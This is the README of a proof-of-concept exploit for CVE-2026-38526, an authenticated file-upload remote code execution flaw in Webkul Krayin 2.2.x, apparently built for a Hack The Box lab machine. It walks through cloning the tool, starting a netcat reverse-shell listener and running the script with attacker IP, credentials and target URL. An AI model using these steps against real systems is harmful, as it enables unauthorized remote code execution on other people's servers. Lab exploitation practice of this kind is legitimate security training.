CVE-2026-38526-PoC-htb-nexus

A PoC script for CVE-2026-38526, RCE via a file upload vulnerability in the /admin/tinymce/upload endpoint of webkul krayin 2.2.x (built for htb-nexus)

🛠 Quick start and Usage

1. Clone the repository:
   root@kitploit:~

   git clone https://github.com/Resolvdd/CVE-2026-38526-PoC-htb-nexus.git
   cd CVE-2026-38526-PoC-htb-nexus
   

2. Create a python venv:
   root@kitploit:~

   python3 -m venv .venv
   source .venv/bin/activate
   

3. Install requirements.txt:
   root@kitploit:~

   pip install -r requirements.txt
   

4. Start listener:
   root@kitploit:~

   nc -lvnp <port number> (Default: 9001)
   

5. Execute Script:
   root@kitploit:~

   python3 poc.py -i <your-ip> -p <listener-port-number> -e <valid-krayin-email> -P <valid-krayin-password> -u <url-excluding-protocol Default: http>